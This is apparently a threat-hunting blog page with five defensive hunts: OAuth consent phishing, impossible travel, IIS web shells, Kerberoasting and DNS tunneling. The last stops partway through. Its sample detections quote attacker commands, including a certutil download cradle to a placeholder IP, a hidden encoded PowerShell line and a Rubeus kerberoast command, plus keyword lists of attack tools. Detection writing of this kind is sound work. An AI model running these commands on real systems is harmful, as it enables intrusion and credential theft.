Skip to content
HackInvasionCybersecurity Knowledge Hub
Showing posts with label Threat Hunting. Show all posts
Showing posts with label Threat Hunting. Show all posts

The Consent Trap: Hunting Malicious OAuth App Grants in Microsoft 365

Glowing blue cloud icon connected to a ring of network nodes and locks, with a red malicious node injecting an attack from the right, symbolizing a malicious OAuth app consent grant

Case file TH-006.
Nobody installed anything. No malware hit the disk, no suspicious logon tripped an alert, and the user's MFA is intact. Yet for three weeks, every email that landed in Priya's inbox was quietly copied to an external server. The entry point was a single click on a link that looked like a DocuSign request. The prompt said "Invoice Portal wants to read your mail — Accept?" She accepted. That was the whole attack.

This is the illicit consent grant pattern, and it is one of the hardest intrusions to spot with traditional endpoint telemetry. The attacker never touches the workstation. They register an application in their own Entra tenant, dress it up with a trustworthy name and logo, and phish your users into granting it delegated permissions to your data — Mail.ReadWrite, Files.ReadWrite.All, offline_access. From then on, the app talks to the Microsoft Graph API with a perfectly valid OAuth token. No password, no MFA prompt, nothing for the firewall to see.

This hunt looks for exactly that moment of consent — and for the consents that should never have happened.

The hypothesis

If an attacker has phished users into granting OAuth consent to a malicious application, then the Entra audit log will show user-level (non-admin) consent grants to apps requesting high-privilege Graph permissions — especially mail and file scopes — from apps with unverified publishers, recent registrations, or consents clustered around a phishing lure.

Data you'll need

SourceWhat it gives you
AuditLogs (Sentinel, Azure AD connector)Every consent grant: OperationName == "Consent to application", the consenter, the app, and the scopes granted.
CloudAppEvents (Defender for Cloud Apps)What the app did after consent — Graph calls, mail reads, file downloads by the service principal.
IdentityInfoDepartment/title of the consenter — attackers love finance and executive assistants.
Splunk: index=ms365 (O365 add-on)Unified Audit Log: Workload="AzureActiveDirectory", Operation="Consent to application*".

Hunting with KQL

This query surfaces consent grants where the app asked for scopes an attacker would actually want. Consent type matters: AllPrincipals means an admin consented tenant-wide (higher blast radius), while Principal means a single user clicked accept (the classic phishing pattern).

// Hunt H-OAUTH-01: user consent grants to apps requesting attacker-grade scopes
let RiskyScopes = dynamic([
    "Mail.ReadWrite", "Mail.Send", "Files.ReadWrite.All", "Sites.FullControl.All",
    "Directory.ReadWrite.All", "RoleManagement.ReadWrite.Directory",
    "Application.ReadWrite.All", "DelegatedPermissionGrant.ReadWrite.All",
    "User.ReadWrite.All", "Calendars.ReadWrite", "offline_access"
]);
AuditLogs
| where TimeGenerated > ago(14d)
| where OperationName == "Consent to application"
| extend Consenter   = tostring(InitiatedBy.user.userPrincipalName),
         AppId      = tostring(TargetResources[0].id),
         AppName    = tostring(TargetResources[0].displayName),
         RawTargets = tostring(TargetResources)
| extend ConsentType = extract(@"ConsentType[^A-Za-z]*([A-Za-z]+)", 1, RawTargets),
         Scopes      = extract(@"ConsentAction\.Permissions[^A-Za-z]*([^\]]+)", 1, RawTargets)
| where Scopes has_any (RiskyScopes)
    or (ConsentType == "AllPrincipals" and Scopes has "Mail.")
| project TimeGenerated, Consenter, AppName, AppId, ConsentType, Scopes, CorrelationId
| order by TimeGenerated desc

What this does, in plain English: it pulls two weeks of Entra audit logs, keeps only consent-grant events, and reconstructs who consented, to which app, and which permissions were handed over. It then keeps the grants that match known-dangerous Graph scopes — or any tenant-wide admin consent touching mail. Sort newest-first, because in a live intrusion the freshest consent is usually the attacker's.

Walkthrough: how the query reads the evidence
  • OperationName == "Consent to application" is the exact audit footprint of an OAuth consent. No consent prompt accepted, no event.
  • InitiatedBy.user.userPrincipalName identifies the human who clicked Accept — the phishing victim.
  • TargetResources[0] holds the app's identity and a modifiedProperties bag containing ConsentType (user vs. tenant-wide) and the granted permission list.
  • The extract() calls pull those two values out of the JSON without brittle positional parsing.
  • Filtering on RiskyScopes is the triage shortcut: a calendar-sync app asking for Calendars.Read is noise; the same app asking for Mail.ReadWrite + offline_access is a case.

Example: what a true positive looks like

FieldValueWhy it matters
TimeGenerated2026-09-21 14:03:11 UTC40 minutes after a reported phishing email to the same user
Consenterpriya.nair@contoso.com (Finance)High-value mailbox, non-admin user consent (Principal)
AppName / AppId"Invoice Portal" / 3f9a…c21dApp registered 6 days ago, publisher unverified
ScopesMail.ReadWrite, Files.ReadWrite.All, offline_accessSilent, persistent mailbox + file access; no legitimate need for an "invoice" app

Hunting with Splunk

The equivalent hunt against the Microsoft 365 Unified Audit Log. This version leans on rarity: apps that almost nobody in the tenant has consented to are where the malicious grants hide.

index=ms365 Workload="AzureActiveDirectory" Operation="Consent to application*"
| eval risky=if(match(Parameters,"(?i)Mail\.ReadWrite|Mail\.Send|Files\.ReadWrite\.All|Directory\.ReadWrite\.All|RoleManagement\.ReadWrite\.Directory|Application\.ReadWrite\.All"),"yes","no")
| stats count as consents, values(UserId) as consenters, values(ClientIP) as src_ips,
        earliest(_time) as first_seen, latest(_time) as last_seen,
        values(risky) as touched_risky_scopes by ObjectId
| where consents <= 3 AND touched_risky_scopes="yes"
| sort - first_seen

What this does, in plain English: for every app object that received consent, it counts how many consent events exist and who granted them. Apps consented to three times or fewer that also requested attacker-grade scopes bubble to the top — that is the profile of a targeted phishing lure, not an enterprise rollout.

Example hit

ObjectId=3f9a…c21d  consents=1  consenters=priya.nair@contoso.com
src_ips=203.0.113.44  first_seen=2026-09-21 14:03:11  touched_risky_scopes=yes

One user, one consent, risky scopes, source IP in a consumer ISP range rather than the corporate egress — open the case.

Validating the hit

  1. Inspect the app in Entra. Check publisher verification, app registration age, homepage URL, and whether the consent was user-level or admin-level. A 6-day-old app with an unverified publisher and a lookalike name is damning.
  2. Interview the consenter (gently). Ask whether they remember the prompt and what link led them there. Correlate with phishing reports and the user's inbox around the consent timestamp.
  3. Follow the app's hands, not just the consent. In CloudAppEvents, filter on the service principal and look for Graph reads of mail and file downloads after the consent time. Consent without subsequent API abuse is still a finding, but consent with mailbox reads is an incident.
  4. Measure the blast radius. Search for other consent events to the same AppId — including AllPrincipals grants. One phished user is a compromise; a tenant-wide grant is a breach.

Tuning out false positives

  • Verified enterprise SaaS (Zoom, Salesforce, ServiceNow, DocuSign): verified publishers with admin-consented, tenant-wide grants are expected. Maintain an allowlist of known AppId values.
  • Admin-consented rollouts: a spike of consents to one app on one day usually means IT deployed something. Correlate with change tickets before opening a case.
  • Low-risk scopes: User.Read, openid, profile are the background radiation of modern SaaS — filter them out of the triage view, not out of the data.
  • Microsoft first-party apps: Teams, Outlook add-ins, and Power Platform connectors generate consent events constantly; exclude publisher Microsoft Corporation after one sanity check.

What to do next

  • Revoke the consent immediately — in Entra admin center under Enterprise Applications, or via Graph: delete the oAuth2PermissionGrant and disable the service principal so existing tokens die.
  • Contain the consenter's account: revoke sessions, rotate credentials, and review mailbox rules and forwarding the attacker may have planted.
  • Block the pattern: tighten the user-consent policy (e.g., allow only verified publishers or require admin consent workflow), and block the app's AppId tenant-wide.
  • Hunt the lure: find the phishing message that delivered the consent link and pull it from every inbox it reached — then search for other consent grants in the same time window.

The evidence is always in the audit log — the attacker just bets you never look at it. — Amit Vijayan

Impossible Travel: Hunting Compromised Identities With Geospatial Logon Velocity

Dark illustration of a glowing world map with blue travel arcs connecting distant cities, symbolizing impossible-travel logon detection across geographies

At 09:12 the user signed in from Toronto. At 09:47 the same user signed in from Lagos. Commercial flight time between the two cities: roughly twelve hours. The user does not own a supersonic jet — but the attacker owns their session cookie, and that is all this signal is really measuring. Impossible travel is not about travel at all. It is about physics: two authentications happened too far apart, too close together, for one human to have produced both.

Session-token theft, credential stuffing, and phishing kits all produce this artifact. The attacker signs in with stolen credentials or a replayed token from infrastructure on another continent, while the legitimate user keeps signing in normally from home. Neither logon alone looks malicious — the anomaly only exists in the relationship between the two. That makes impossible travel a genuinely threat-hunting-shaped problem: no signature fires, but the geometry does not add up.

The hypothesis

An identity is under active attack when two successful logons for the same account originate from geographies separated by a distance that cannot be covered in the elapsed time — a velocity no legitimate user can achieve, most commonly caused by session-cookie theft or credential replay.

Data you'll need

  • Microsoft Sentinel / Defender: IdentityLogonEvents (Defender for Identity / Entra logons with Location and LocationDetails), enriched with IP geolocation.
  • Splunk: Entra / Azure AD sign-in logs (sourcetype="azure:aad:signin" or your connector's equivalent) with location and ipAddress fields; iplocation for enrichment when fields are missing.
  • Context data: known VPN/proxy egress ranges (they are the number-one source of fake "travel"), and the user's normal home geography.

Hunting with KQL

This query computes the velocity between each pair of consecutive logons per user and flags anything faster than a commercial airliner:

// Impossible-travel hunt: geospatial logon velocity
IdentityLogonEvents
| where TimeGenerated > ago(14d)
| where LogonResult == "Success"
| where isnotempty(Location) and isnotempty(LocationDetails)
| extend Lat = todouble(LocationDetails.Latitude),
         Lon = todouble(LocationDetails.Longitude)
| where isnotnull(Lat) and isnotnull(Lon)
| order by AccountUpn asc, TimeGenerated asc
| extend PrevTime = prev(TimeGenerated, 1),
         PrevLat  = prev(Lat, 1),
         PrevLon  = prev(Lon, 1),
         PrevIP   = prev(IPAddress, 1)
| where AccountUpn == prev(AccountUpn, 1)      // same user, consecutive logons
| extend DeltaMinutes = datetime_diff("minute", TimeGenerated, PrevTime)
| extend DistanceKm   = geo_distance_2points(Lon, Lat, PrevLon, PrevLat) / 1000
| extend VelocityKph  = iff(DeltaMinutes > 0, DistanceKm / (DeltaMinutes / 60.0), 0)
| where VelocityKph > 1000                    // faster than any real itinerary
| where DistanceKm > 500                      // ignore same-city GPS jitter
| project TimeGenerated, AccountUpn, IPAddress, Location,
          PrevIP, PrevTime, DistanceKm, DeltaMinutes, VelocityKph,
          Application, DeviceName
| order by VelocityKph desc

What this does: for each user it walks logons in chronological order, measures the great-circle distance (geo_distance_2points returns meters, hence the / 1000) between consecutive logons, and divides by the elapsed time. The 1,000 km/h bar is deliberately above any plausible commercial flight — it selects for physics violations, not business trips. The 500 km floor suppresses same-city geolocation jitter, which is the largest noise source in IP-based geo data.

Example true-positive row:

AccountUpna.chen@corp.local
PrevTime → TimeGenerated09:12 → 09:47 (35 min apart)
PrevIP → IPAddress172.16.8.40 (Toronto) → 197.210.55.19 (Lagos)
DistanceKm / VelocityKph9,200 km at ~15,800 km/h
Application / DeviceNameOffice 365 / unknown device

The user did not commute to Lagos for their 09:47 email check. Someone else holds a valid session.

Tightening the net: add device-trust and MFA context

A velocity hit is far more damning when the "traveling" logon comes from an unknown device with a fresh session. Extend the project with LogonType, DeviceDetail, and MFA outcome fields if your logon stream carries them — a logon from Lagos with no MFA challenge on a brand-new session is the classic fingerprint of a replayed session cookie (pass-the-cookie), because cookie replay skips the MFA step entirely.

Hunting with Splunk

A summary-based equivalent against Entra sign-in logs — it finds accounts with successful logons from multiple countries in a short window:

index=azuread sourcetype="azure:aad:signin" result=0 earliest=-14d
| eval ip=coalesce(ipAddress, IPAddress)
| iplocation ip
| stats earliest(_time) as first, latest(_time) as last,
        dc(Country) as countries, values(Country) as country_list,
        values(City) as city_list, values(ip) as ips,
        dc(userPrincipalName) as u
        by userPrincipalName
| where countries > 1 AND (last - first) < 3600
| eval window_min = round((last - first)/60, 1)
| sort - countries, window_min
| table userPrincipalName, first, last, window_min, countries,
        country_list, city_list, ips

What this does: enriches each sign-in with country/city via iplocation, then rolls up per user and keeps only accounts that hit more than one country within a single hour. It is coarser than the KQL velocity math, but it is fast, easy to schedule, and excellent for a first pass across the tenant. Note the private-IP caveat: iplocation cannot geolocate RFC-1918 addresses, so pair this with a filter on public IPs if your sign-in stream mixes on-prem and cloud events.

Example hit: one row for a.chen@corp.local with country_list = Canada, Nigeria, window_min = 35, and two distinct public IPs — the same conclusion, reached with less geometry.

Validating the hit

  1. Rule out the boring explanations first. Check both IPs against your VPN egress ranges, cloud-access proxies (Zscaler, Cloudflare), and the user's mobile carrier — corporate egress is the single biggest source of fake travel.
  2. Inspect the suspicious session. Was MFA challenged? A successful logon on a new device/session with no MFA prompt strongly suggests a stolen session token rather than a stolen password.
  3. Look for post-logon abuse. Review what the Lagos session actually did — mailbox rules created, OAuth app grants, data downloads, or password-reset attempts are the attacker's to-do list, and they tell you the blast radius.
  4. Ask the human. A 30-second check with the user ("Were you in Lagos at 09:47?") is the fastest ground truth available, and it works even when the telemetry is ambiguous.

Tuning out false positives

  • Corporate VPN / SASE egress — the Lagos IP may be the company's own egress node; maintain an allowlist of known egress ranges and join it into the query.
  • Traveling executives — a flight from Toronto to London is not impossible travel; the velocity math already tolerates this, but short-hop business travel across nearby borders can still cluster. Baseline frequent travelers or widen the window.
  • Mobile carrier NAT — some carriers egress through another country; these appear as low-velocity, low-confidence hits — combine with device familiarity to dismiss.
  • Satellite internet and remote offices — users on satellite links or behind regional office NATs geolocate oddly; the 500 km floor in the KQL handles most of this.

What to do next

For a validated hit, act on the session, not just the password: revoke all active sessions and refresh tokens, force a password reset, and require re-authentication on a compliant device — because a password change alone does not kill a stolen session cookie. Then investigate the token-theft vector: check for recent infostealer activity on the user's endpoints, phishing clicks in the preceding days, or adversary-in-the-middle patterns (a successful MFA push the user does not remember approving is a classic). Finally, promote the hunt: schedule the KQL as a weekly analytics rule, and consider pairing it with a companion hunt for anomalous first-time device logons — impossible travel catches the thief; device anomaly often catches how they got in.

Web Shells on IIS: When w3wp.exe Starts Running cmd.exe, Someone Is Already Inside

Dark illustration of a server tower entangled in red tentacle-like network cables amid green digital particles, symbolizing a web shell compromise on an IIS server

There is a special kind of silence on an IIS server right after it has been compromised: the site still serves pages, the app pool still recycles on schedule, and the only thing that changed is a 3 KB .aspx file sitting in a folder nobody audits. A web shell does not crash anything. It just waits for a POST request with the right parameter — and then it hands the attacker a command shell running as the application pool identity.

The initial-access story varies — an unpatched upload endpoint, a deserialization bug, a misused msdeploy publish profile — but the execution story is almost always the same: the IIS worker process, w3wp.exe, spawns cmd.exe or powershell.exe. That parent-child relationship is the single most reliable forensic signal of a live web shell, because a healthy application pool almost never does that.

The hypothesis

An attacker has achieved code execution through an IIS-hosted application and planted or invoked a web shell, detectable as the IIS worker process (w3wp.exe) spawning command shells, script hosts, or encoded PowerShell — behavior with no legitimate counterpart in normal web serving.

Data you'll need

  • Microsoft Sentinel / Defender: DeviceProcessEvents (process creation with parent lineage), DeviceFileEvents (new files under inetpub\wwwroot), and IIS logs if forwarded.
  • Splunk: Sysmon or Windows Security EventCode=4688 (process creation with command-line auditing enabled), Sysmon EventCode=1/11, or the Endpoint data model.
  • Context data: the IIS site's expected webroot paths and the normal app-pool identity list.

Hunting with KQL

The core hunt is a process-lineage query — a child spawned by the worker process:

// Web-shell hunt: w3wp.exe spawning shells or script hosts
DeviceProcessEvents
| where InitiatingProcessFileName =~ "w3wp.exe"
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe",
                     "cscript.exe", "wscript.exe", "mshta.exe", "rundll32.exe")
| project TimeGenerated, DeviceName,
          InitiatingProcessAccountName,
          InitiatingProcessCommandLine,
          FileName, FolderPath, ProcessCommandLine
| order by TimeGenerated desc

What this does: it looks for any process whose parent is the IIS worker process and whose executable is a shell or script host. In practice, hits here are rare and precious — I would treat any single result as an active incident until proven otherwise. The ProcessCommandLine column usually reveals the shell's purpose: whoami, certutil -urlcache downloads, or base64-encoded PowerShell (-EncodedCommand) are the classics.

A second KQL pass catches the shell file landing on disk — because a web shell is, at its core, just a file write to a webroot:

// Web-shell file-drop hunt: new script files under IIS webroots
DeviceFileEvents
| where ActionType == "FileCreated"
| where FolderPath has_any (@"\inetpub\wwwroot", @"\wwwroot")
| where FileName endswith ".aspx" or FileName endswith ".ashx"
    or FileName endswith ".asmx" or FileName endswith ".asp"
| where InitiatingProcessFileName !in~ ("msdeploy.exe", "dotnet.exe", "devenv.exe")
| project TimeGenerated, DeviceName, FolderPath, FileName,
          InitiatingProcessFileName, InitiatingProcessAccountName
| order by TimeGenerated desc

Example true-positive row (first query):

DeviceNameWEB01
InitiatingProcessFileNamew3wp.exe (IIS APPPOOL\Portal)
FileNamepowershell.exe
ProcessCommandLinepowershell -nop -w hidden -enc aQBmACgAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0ACkA…
TimeGenerated2026-09-26 03:14 UTC

Decoding that base64 blob is your next five minutes of work — it is almost always a downloader or a stager.

Tracing the initial access: what was in the IIS log?

Correlate the shell's creation timestamp against the IIS W3SVC logs on WEB01 (usually C:\inetpub\logs\LogFiles\W3SVC1). Look for POST requests to the shell's path, unusual PUT/DELETE methods, msdeploy.axd access, or a burst of POSTs to an upload handler minutes before the file appeared. The upload request's source IP is the attacker's real foothold — pivot there for scanning and staging activity.

Hunting with Splunk

The same hunt against 4688 process-creation events (this assumes command-line auditing is enabled — GPO: Audit Process Creation > Include command line):

index=wineventlog EventCode=4688 ParentImage="*\\w3wp.exe"
    Image IN ("*\\cmd.exe", "*\\powershell.exe", "*\\cscript.exe",
              "*\\wscript.exe", "*\\mshta.exe", "*\\rundll32.exe")
| table _time, Computer, Account_Name, ParentImage, Image, CommandLine
| sort - _time

What this does: pulls every child process of the IIS worker process that matches a shell or script-host executable, with the full command line. In the Endpoint data model the equivalent is:

| tstats `security_content_summariesonly` count, values(Processes.process) as processes
  from datamodel=Endpoint.Processes
  where Processes.parent_process_name="w3wp.exe"
        Processes.process_name IN ("cmd.exe","powershell.exe","cscript.exe","wscript.exe","mshta.exe")
  by Processes.dest, Processes.user

Example hit: a single WEB01 row where Image=C:\Windows\System32\cmd.exe and CommandLine=cmd.exe /c certutil -urlcache -split -f http://203.0.113.44/svchost.bin C:\Windows\Temp\up.exe — a textbook web-shell download cradle.

Validating the hit

  1. Find the shell on disk. Locate the .aspx/.ashx file (use the file-drop query or Sysmon EventCode 11), hash it, and read its source — the parameter name and the eval/exec call confirm it. Note its creation and last-modified times to bound the compromise window.
  2. Decode the command lines. Base64-decode any -EncodedCommand payloads; grep cmd.exe invocations for certutil, bitsadmin, or Invoke-WebRequest download cradles.
  3. Reconstruct initial access. Review IIS logs around the shell's creation time for the upload or exploit POST; that tells you whether this was a file-upload flaw, a deserialization bug, or a stolen publish credential — which decides what else is exposed.
  4. Check for persistence and pivoting. Look at outbound connections from WEB01 in the compromise window (DeviceNetworkEvents / firewall logs) and at new scheduled tasks or services (4698 / 7045) — web shells are usually the beachhead, not the objective.

Tuning out false positives

  • Deployment pipelines — msdeploy.exe, Azure DevOps agents, and Octopus Deploy tentacles legitimately write .aspx files to webroots; exclude by the initiating process or the deploy service account.
  • Developer tooling on staging servers (Visual Studio remote debugging, dotnet watch) can trigger file-drop hits; keep staging scopes separate from production hunts.
  • Health-check scripts invoked by monitoring occasionally run under an app-pool identity; they almost never spawn interactive shells from w3wp.exe, so the process-lineage query stays quiet.

What to do next

Isolate WEB01 from the network but keep it powered on (memory may hold the attacker's session). Preserve the shell file, the IIS logs, and a disk image for forensics. Patch the exploited vulnerability before the server goes back online — a restored web shell without a patched entry point is just an invitation to return. Rotate every credential the app pool identity could touch: database connection strings, service accounts, and any secrets in the application's config. Finally, promote this hunt to a standing detection: an alert on any w3wp.exe → cmd.exe/powershell.exe lineage is one of the cheapest, highest-fidelity rules you can run on a Windows web estate.

Hunting Kerberoasting: When RC4 Ticket Requests Betray the Attacker

Dark illustration of a vintage computer with golden glowing keys linked in a network constellation above it, symbolizing Kerberoasting service ticket requests

The ticket was legitimate. The request was legitimate. That is exactly why Kerberoasting is so hard to spot — the attacker never forges anything, never touches LSASS, never trips an AV signature. They simply ask the domain controller, politely, for a service ticket to a SQL server, take the ticket home, and crack it offline at their leisure. This investigation is about finding the moment they ask.

Kerberoasting targets service accounts whose passwords can be brute-forced offline. Because the ticket is encrypted with the service account's password hash (RC4), anyone who can request a ticket for that service principal name (SPN) gets a free, crackable copy of the hash. The signal is almost always Event ID 4769 — a Kerberos Service Ticket Operation — with RC4 (0x17) encryption, fired off in volume from a workstation that has no business requesting tickets for dozens of services.

The hypothesis

A compromised or malicious user account is requesting service tickets encrypted with the weak RC4 cipher for many different SPNs in a short window — the classic footprint of an offline-cracking (Kerberoasting) enumeration, most often driven by tools like Rubeus or Mimikatz.

Data you'll need

  • Microsoft Sentinel / Defender: SecurityEvent (EventID 4769) from domain controllers, plus DeviceProcessEvents for Rubeus/Mimikatz process execution.
  • Splunk: index=wineventlog (or your Windows Security event index) with EventCode 4769, or the Authentication data model.
  • Context data: SPN-to-service inventory (which service accounts should be ticketed, and by whom).

Hunting with KQL

RC4 is the tell. Modern Windows prefers AES, so a burst of RC4-encrypted TGS requests is worth an investigator's attention:

// Kerberoasting hunt: RC4 service-ticket requests (4769)
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"      // RC4-HMAC: the offline-crackable flavor
| where ServiceName !~ "krbtgt"            // exclude the TGT service itself
| where AccountName !~ "krbtgt"
| summarize Requests = count(),
            UniqueSPNs = dcount(ServiceName),
            SPNs = make_set(ServiceName, 25),
            FirstSeen = min(TimeGenerated),
            LastSeen = max(TimeGenerated)
            by AccountName, Computer, IpAddress
| where Requests >= 10 and UniqueSPNs >= 3
| extend WindowMinutes = datetime_diff("minute", LastSeen, FirstSeen)
| project AccountName, Computer, IpAddress, Requests, UniqueSPNs, WindowMinutes, FirstSeen, LastSeen, SPNs
| order by Requests desc

What this does: it isolates Kerberos TGS requests (4769) encrypted with RC4, then rolls them up per requesting account and source machine. The thresholds do the discriminating work — a normal user touches one or two services over a day; an attacker tool like Rubeus kerberoast hammers dozens of SPNs in minutes. dcount(ServiceName) on the SPN field is the key discriminator between a user with one mapped drive and an attacker harvesting a full SPN list.

Example true-positive row:

AccountNamej.doe
ComputerWS-1142
IpAddress10.4.22.17
Requests / UniqueSPNs47 requests to 31 distinct SPNs
WindowMinutes11 minutes
SPNs (sample)MSSQLSvc/sql01.corp.local:1433, HTTP/webapp02.corp.local, CIFS/filesrv03.corp.local …

A standard user account requesting 47 RC4 tickets across 31 services in 11 minutes from a workstation is not normal logon behavior — it is the harvest phase.

Field walkthrough: corroborating with the Rubeus process

Once the 4769 burst is identified, pivot to the source workstation in DeviceProcessEvents:

DeviceProcessEvents
| where DeviceName == "WS-1142"
| where TimeGenerated between (datetime("2026-09-26 02:00") .. datetime("2026-09-26 03:30"))
| where FileName in~ ("Rubeus.exe", "powershell.exe")
    or ProcessCommandLine has_any ("kerberoast", "asktgt", "tgtdeleg", "Mimikatz")
| project TimeGenerated, FileName, ProcessCommandLine, InitiatingProcessFileName, AccountName

A hit here — e.g., Rubeus.exe kerberoast /outfile:hashes.txt — upgrades the finding from "suspicious ticket pattern" to a confirmed attack tool on the box.

Hunting with Splunk

The same logic against Windows Security events in Splunk:

index=wineventlog EventCode=4769 TicketEncryptionType=0x17 ServiceName!="krbtgt*"
| stats count as requests, dc(ServiceName) as unique_spns,
        values(ServiceName) as spns, min(_time) as first, max(_time) as last
        by AccountName, Computer, IpAddress
| where requests >= 10 AND unique_spns >= 3
| eval duration_min = round((last - first)/60, 1)
| sort - requests
| table AccountName, Computer, IpAddress, requests, unique_spns, duration_min, first, last, spns

What this does: filters to EventCode 4769 with RC4 encryption, groups by the requesting account and source, and applies the same volume-plus-diversity threshold. Watch for field-name drift — in some CIM-normalized sources the encryption field may appear as Ticket_Encryption_Type; normalize it with an alias before the where clause if needed.

Example hit: a single row for j.doe / WS-1142 showing requests=47, unique_spns=31, duration_min=11. In a small environment, expect this search to return only a handful of rows — review each one.

Validating the hit

  1. Verify the SPNs are real. Confirm the requested service names map to genuine domain SPNs (use setspn -Q or your SPN inventory). Attackers sometimes request SPNs that don't exist — both patterns are worth flagging.
  2. Check the workstation. Look at the 11-minute window on WS-1142 for process creation (4688): Rubeus, Mimikatz, renamed binaries, or PowerShell with -EncodedCommand.
  3. Profile the account. Is j.doe an IT admin who might legitimately test tools, or a finance user whose credentials were stolen last week? Cross-reference recent 4624/4672 logons and any password-change activity.
  4. Check whether the crack succeeded. Look for anomalous logons as the service accounts in the hours after the ticket burst — that is how you find out whether the attacker actually recovered a password.

Tuning out false positives

  • Legacy applications that only speak RC4 will generate steady, low-volume 4769/0x17 traffic to one or two SPNs — the volume and SPN-diversity thresholds exclude them by design.
  • Vulnerability scanners (Tenable, Qualys agents) sometimes enumerate SPNs aggressively; baseline your scanner service accounts and source hosts so you can exclude them with a watchlist.
  • Administrative tooling that touches many services at once (backup agents, monitoring) can look bursty — allowlist by known account/host pairs rather than by encryption type alone.
  • Non-Windows Kerberos clients defaulting to RC4 may inflate single-SPN counts; the unique-SPN threshold is what saves you here.

What to do next

If the hit validates, treat every ticketed service account as potentially compromised: rotate the service-account passwords immediately (long, random — 25+ characters), review SPN registrations for tampering, and force re-authentication of j.doe. Longer-term, disable RC4 for Kerberos where possible (AES is supported everywhere that matters in 2026), add this 4769/0x17 pattern as a standing detection rule, and consider alerting on SPN enumeration (rapid 4769 bursts) as its own analytic — because by the time the cracking finishes, the lateral movement has already started.

Hunting DNS Tunneling and Data Exfiltration Over DNS

Cosmic illustration of a wireframe globe with swirling purple and orange particle streams forming tunnels, symbolizing DNS tunneling data exfiltration

Case file: the channel nobody watches

DNS is the most trusted protocol on the network. Firewalls let it through, proxies often ignore it, and almost nobody inspects the content of queries — which is exactly why attackers love it. DNS tunneling encodes stolen data inside subdomain labels (aGVsbG8td29ybGQtZGF0YQ.evil.example) or TXT record responses, turning every lookup into a tiny exfiltration packet. Tools from dnscat2 and iodine to custom malware beacons have used this channel for command-and-control and data theft for over a decade.

The investigative challenge is volume: a busy network generates millions of DNS queries a day, and the malicious ones hide inside them. This hunt doesn't look for known-bad domains — it looks for behavioral anomalies: query names that are too long, too random, too frequent, or pointed at record types (TXT, NULL) that legitimate clients rarely request. It maps to T1048.003 (Exfiltration Over Unencrypted Non-C2 Protocol) and T1071.004 (DNS C2).

The hypothesis

If a host is exfiltrating data or beaconing over DNS tunneling, then its DNS traffic will deviate from baseline: unusually long query names, high-entropy subdomain labels, abnormal query volume to a single domain, or heavy use of TXT/NULL record types — patterns not seen from that host's normal resolver behavior.

Data you'll need

Log sourceTable / indexWhat it gives you
Microsoft Defender for EndpointDeviceNetworkEventsPer-host DNS queries (RemoteUrl) on UDP/53
DNS server / firewall logsindex=dns or network data modelFull query names, query types, response sizes
Proxy / NetFlowZeek dns.log, CorelightQuery/response pairs, timing, periodicity analysis

Hunting with KQL

This query hunts the three strongest tunneling signals in Defender network telemetry: long query names, TXT/NULL record abuse, and high query volume concentrated on one domain.

// Hunt: DNS tunneling indicators in Defender network events
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where RemotePort == 53 and ActionType == "DnsQuery"
| where isnotempty(RemoteUrl)
| extend QueryLen = strlen(RemoteUrl),
         LabelCount = countof(RemoteUrl, "."),
         // crude entropy proxy: ratio of unique chars to length
         UniqueChars = array_length(set_union(split(RemoteUrl, ""))),
         HasLongLabel = RemoteUrl matches regex @"[A-Za-z0-9+/=]{40,}"
| extend SuspicionScore = (iff(QueryLen > 60, 2, 0)
    + iff(LabelCount > 5, 1, 0) + iff(HasLongLabel, 2, 0))
| summarize QueryCount = count(),
            AvgLen = avg(QueryLen),
            MaxLen = max(QueryLen),
            SampleQuery = take_any(RemoteUrl),
            MaxScore = max(SuspicionScore)
    by DeviceName, bin(TimeGenerated, 1h),
       Domain = tostring(split(RemoteUrl, ".")[-2])
| where QueryCount > 200 or MaxLen > 100 or MaxScore >= 3
| order by MaxScore desc, QueryCount desc

What this does: it aggregates DNS queries per host, per hour, per parent domain, then flags aggregates with high volume (200+ queries/hour to one domain suggests beaconing or bulk exfil), extreme query length, or long Base64-looking labels. The SampleQuery column gives you the smoking gun to eyeball.

Don't forget the record-type angle. Legitimate clients overwhelmingly query A/AAAA records. A host suddenly issuing TXT or NULL queries is worth a dedicated look:

// Hunt: rare DNS query types often abused for tunneling
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where RemotePort == 53
| where RemoteUrl has_any ("TXT", "NULL")  // adjust to your schema's query-type field
| summarize count() by DeviceName, RemoteUrl
| order by count_ desc
Example: what a true-positive result row looks like
DeviceNameWS-HR-0093
Domaintunnel-example.net (registered 6 days ago, no web presence)
QueryCount4,812 queries in one hour — steady ~1.3/sec cadence
SampleQueryd2VsY29tZS10by10aGUtanVuZ2xlLWJ1aWxkaW5nLWJsb2I.dat.tunnel-example.net (63-char label, valid Base64)
Why it's maliciousHigh-entropy labels that decode to structured data, metronomic timing, and a days-old domain — the classic signature of an active exfiltration tunnel, not browsing.

Hunting with Splunk

With full DNS logs (Zeek dns.log or Windows DNS debug logging), you can measure what Defender summaries can't — response sizes and true query-type distributions:

index=dns earliest=-7d
| eval qlen=len(query), labels=mvcount(split(query, "."))
| where qlen > 60 OR labels > 5 OR qtype IN ("TXT", "NULL", "CNAME")
| stats count as queries, avg(qlen) as avg_len, max(qlen) as max_len,
    values(qtype) as qtypes, earliest(_time) as first, latest(_time) as last
    by src_ip, query_suffix
| eval duration_min=round((last-first)/60, 1),
       rate_per_min=round(queries/duration_min, 1)
| where queries > 200 OR max_len > 100
| sort - queries

What this does: it filters to anomalous queries first (long names, deep label stacks, suspicious record types), then aggregates by source IP and domain suffix, computing duration and query rate. A steady rate over hours — rather than bursty human browsing — is the beaconing tell.

Example hit: src_ip=10.4.2.93 issues 4,812 queries to *.tunnel-example.net over 60 minutes at a near-constant 1.3 queries/second, all TXT type, with 63-character labels that decode from Base64 to structured chunks. No browser on that host ever visited the domain — the queries originate from a background service installed two days earlier. That's not name resolution; that's a data pipe wearing a DNS costume.

Validating the hit

  1. Decode the labels. Extract several query labels and Base64/hex-decode them in your analysis environment. Structured or compressible content (file fragments, keystrokes, hostnames) confirms exfiltration; random-looking session tokens suggest C2 beaconing.
  2. Profile the domain. Check WHOIS age, passive DNS history, and whether the domain resolves to anything via normal means. Tunneling domains are typically young, have no legitimate web presence, and are authoritative for their own NS records.
